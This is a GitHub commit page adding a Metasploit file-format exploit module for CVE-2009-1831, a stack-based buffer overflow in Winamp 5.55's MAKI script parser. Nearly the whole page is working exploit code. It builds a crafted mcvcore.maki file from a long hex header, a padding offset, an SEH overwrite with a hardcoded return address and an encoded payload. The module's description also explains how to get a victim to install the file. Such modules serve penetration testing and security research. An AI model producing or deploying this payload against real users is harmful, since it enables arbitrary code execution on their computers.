Skip to content

Commit b813e4e

Browse files
author
jvazquez-r7
committed
Added module for CVE-2009-1831
1 parent cf98f52 commit b813e4e

File tree

1 file changed

+137
-0
lines changed

1 file changed

+137
-0
lines changed
Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Remote::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Winamp MAKI Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a stack based buffer overflow in Winamp 5.55. The flaw
21+
exists in the gen_ff.dll and occurs while parsing a specially crafted MAKI file,
22+
where memmove is used with in a insecure way with user controlled data.
23+
24+
To exploit the vulnerability the attacker must convince the attacker to install the
25+
generated mcvcore.maki file in the "scripts" directory of the default "Bento" skin,
26+
or generate a new skin using the crafted mcvcore.maki file. The module has been
27+
tested successfully on Windows XP SP3 and Windows 7 SP1.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'Monica Sojeong Hong', # Vulnerability Discovery
33+
'juan vazquez' # Metasploit module
34+
],
35+
'References' =>
36+
[
37+
[ 'CVE', '2009-1831'],
38+
[ 'OSVDB', '54902'],
39+
[ 'BID', '35052'],
40+
[ 'URL', 'http://vrt-sourcefire.blogspot.com/2009/05/winamp-maki-parsing-vulnerability.html' ]
41+
],
42+
'DefaultOptions' =>
43+
{
44+
'EXITFUNC' => 'process',
45+
},
46+
'Payload' =>
47+
{
48+
'Space' => 4000,
49+
'DisableNops' => true,
50+
'BadChars' => ""
51+
},
52+
'Platform' => 'win',
53+
'Targets' =>
54+
[
55+
# winamp.exe 5.5.5.2405
56+
[ 'Winamp 5.55 / Windows XP SP3 / Windows 7 SP1',
57+
{
58+
'Ret' => 0x12f02bc3, # ppr from in_mod.dll
59+
'Offset' => 16756
60+
}
61+
]
62+
],
63+
'Privileged' => false,
64+
'DisclosureDate' => 'May 20 2009',
65+
'DefaultTarget' => 0))
66+
67+
register_options(
68+
[
69+
OptString.new('FILENAME', [ false, 'The file name (do not change!)', 'mcvcore.maki']),
70+
], self.class)
71+
72+
end
73+
74+
def exploit
75+
76+
header = "\x46\x47\x03\x04\x17\x00\x00\x00\x2A\x00\x00\x00\x71\x49\x65\x51"
77+
header << "\x87\x0D\x51\x4A\x91\xE3\xA6\xB5\x32\x35\xF3\xE7\x64\x0F\xF5\xD6"
78+
header << "\xFA\x93\xB7\x49\x93\xF1\xBA\x66\xEF\xAE\x3E\x98\x7B\xC4\x0D\xE9"
79+
header << "\x0D\x84\xE7\x4A\xB0\x2C\x04\x0B\xD2\x75\xF7\xFC\xB5\x3A\x02\xB2"
80+
header << "\x4D\x43\xA1\x4B\xBE\xAE\x59\x63\x75\x03\xF3\xC6\x78\x57\xC6\x87"
81+
header << "\x43\xE7\xFE\x49\x85\xF9\x09\xCC\x53\x2A\xFD\x56\x65\x36\x60\x38"
82+
header << "\x1B\x46\xA7\x42\xAA\x75\xD8\x3F\x66\x67\xBF\x73\xF4\x7A\x78\xF4"
83+
header << "\xBB\xB2\xF7\x4E\x9C\xFB\xE7\x4B\xA9\xBE\xA8\x8D\x02\x0C\x37\x3A"
84+
header << "\xBF\x3C\x9F\x43\x84\xF1\x86\x88\x5B\xCF\x1E\x36\xB6\x5B\x0C\x5D"
85+
header << "\xE1\x7D\x1F\x4B\xA7\x0F\x8D\x16\x59\x94\x19\x41\x99\xE1\xE3\x4E"
86+
header << "\x36\xC6\xEC\x4B\x97\xCD\x78\xBC\x9C\x86\x28\xB0\xE5\x95\xBE\x45"
87+
header << "\x72\x20\x91\x41\x93\x5C\xBB\x5F\xF9\xF1\x17\xFD\x4E\x6D\x90\x60"
88+
header << "\x7E\x53\x2E\x48\xB0\x04\xCC\x94\x61\x88\x56\x72\xC0\xBC\x3A\x40"
89+
header << "\x22\x6F\xD6\x4B\x8B\xA4\x10\xC8\x29\x93\x25\x47\x4D\x3E\xAA\x97"
90+
header << "\xD0\xF4\xA8\x4F\x81\x7B\x0A\xF2\x2A\x45\x49\x83\xFA\xBB\xE4\x64"
91+
header << "\xF4\x81\xD9\x49\xB0\xC0\xA8\x5B\x2E\xC3\xBC\xFD\x3F\x5E\xB6\x62"
92+
header << "\x5E\x37\x8D\x40\x8D\xEA\x76\x81\x4A\xB9\x1B\x77\xBE\x97\x4F\xCE"
93+
header << "\xB0\x77\x19\x4E\x99\x56\xD4\x98\x33\xC9\x6C\x27\x0D\x20\xC2\xA8"
94+
header << "\xEB\x51\x2A\x4B\xBA\x7F\x5D\x4B\xC6\x5D\x4C\x71\x38\xBA\x1E\x8D"
95+
header << "\x9E\x48\x3E\x48\xB9\x60\x8D\x1F\x43\xC5\xC4\x05\x40\xC9\x08\x0F"
96+
header << "\x39\xAF\x23\x4B\x80\xF3\xB8\xC4\x8F\x7E\xBB\x59\x72\x86\xAA\xEF"
97+
header << "\x0E\x31\xFA\x41\xB7\xDC\x85\xA9\x52\x5B\xCB\x4B\x44\x32\xFD\x7D"
98+
header << "\x51\x37\x7C\x4E\xBF\x40\x82\xAE\x5F\x3A\xDC\x33\x15\xFA\xB9\x5A"
99+
header << "\x7D\x9A\x57\x45\xAB\xC8\x65\x57\xA6\xC6\x7C\xA9\xCD\xDD\x8E\x69"
100+
header << "\x1E\x8F\xEC\x4F\x9B\x12\xF9\x44\xF9\x09\xFF\x45\x27\xCD\x64\x6B"
101+
header << "\x26\x5A\x4B\x4C\x8C\x59\xE6\xA7\x0C\xF6\x49\x3A\xE4\x05\xCB\x6D"
102+
header << "\xC4\x8A\xC2\x48\xB1\x93\x49\xF0\x91\x0E\xF5\x4A\xFF\xCF\xDC\xB4"
103+
header << "\xFE\x81\xCC\x4B\x96\x1B\x72\x0F\xD5\xBE\x0F\xFF\xE1\x8C\xE2\x01"
104+
header << "\x59\xB0\xD5\x11\x97\x9F\xE4\xDE\x6F\x51\x76\x0A\xBD\xF8\xF0\x80"
105+
header << "\xA5\x1B\xA6\x42\xA0\x93\x32\x36\xA0\x0C\x8D\x4A\x1B\x34\x2E\x9B"
106+
header << "\x98\x6C\xFA\x40\x8B\x85\x0C\x1B\x6E\xE8\x94\x05\x71\x9B\xD5\x36"
107+
header << "\xFD\x03\xF8\x4A\x97\x95\x05\x02\xB7\xDB\x26\x7A\x10\xF2\xD5\x7F"
108+
header << "\xC4\xAC\xDF\x48\xA6\xA0\x54\x51\x57\x6C\xDC\x76\x35\xA5\xBA\xB5"
109+
header << "\xB3\x05\xCB\x4D\xAD\xC1\xE6\x18\xD2\x8F\x68\x96\xC1\xFE\x29\x61"
110+
header << "\xB7\xDA\x51\x4D\x91\x65\x01\xCA\x0C\x1B\x70\xDB\xF7\x14\x95\xD5"
111+
header << "\x36\xED\xE8\x45\x98\x0F\x3F\x4E\xA0\x52\x2C\xD9\x82\x4B\x3B\x9B"
112+
header << "\x7A\x66\x0E\x42\x8F\xFC\x79\x41\x15\x80\x9C\x02\x99\x31\xED\xC7"
113+
header << "\x19\x53\x98\x47\x98\x63\x60\xB1\x5A\x29\x8C\xAA\x4D\xC1\xBB\xE2"
114+
header << "\xF6\x84\x73\x41\xBD\xB3\xB2\xEB\x2F\x66\x55\x50\x94\x05\xC0\x73"
115+
header << "\x1F\x96\x1B\x40\x9B\x1B\x67\x24\x27\xAC\x41\x65\x22\xBA\x3D\x59"
116+
header << "\x77\xD0\x76\x49\xB9\x52\xF4\x71\x36\x55\x40\x0B\x82\x02\x03\xD4"
117+
header << "\xAB\x3A\x87\x4D\x87\x8D\x12\x32\x6F\xAD\xFC\xD5\x83\xC2\xDE\x24"
118+
header << "\x6E\xB7\x36\x4A\x8C\xCC\x9E\x24\xC4\x6B\x6C\x73\x37\x00\x00\x00"
119+
header << "\x01\x01\x00\x00"
120+
121+
sploit = rand_text(target['Offset'])
122+
sploit << generate_seh_record(target.ret)
123+
sploit << payload.encoded
124+
125+
length_sploit = [sploit.length].pack("v")
126+
127+
maki = header
128+
maki << length_sploit
129+
maki << sploit
130+
131+
print_status("Creating '#{datastore['FILENAME']}' file ...")
132+
133+
file_create(maki)
134+
135+
end
136+
137+
end

0 commit comments

Comments
 (0)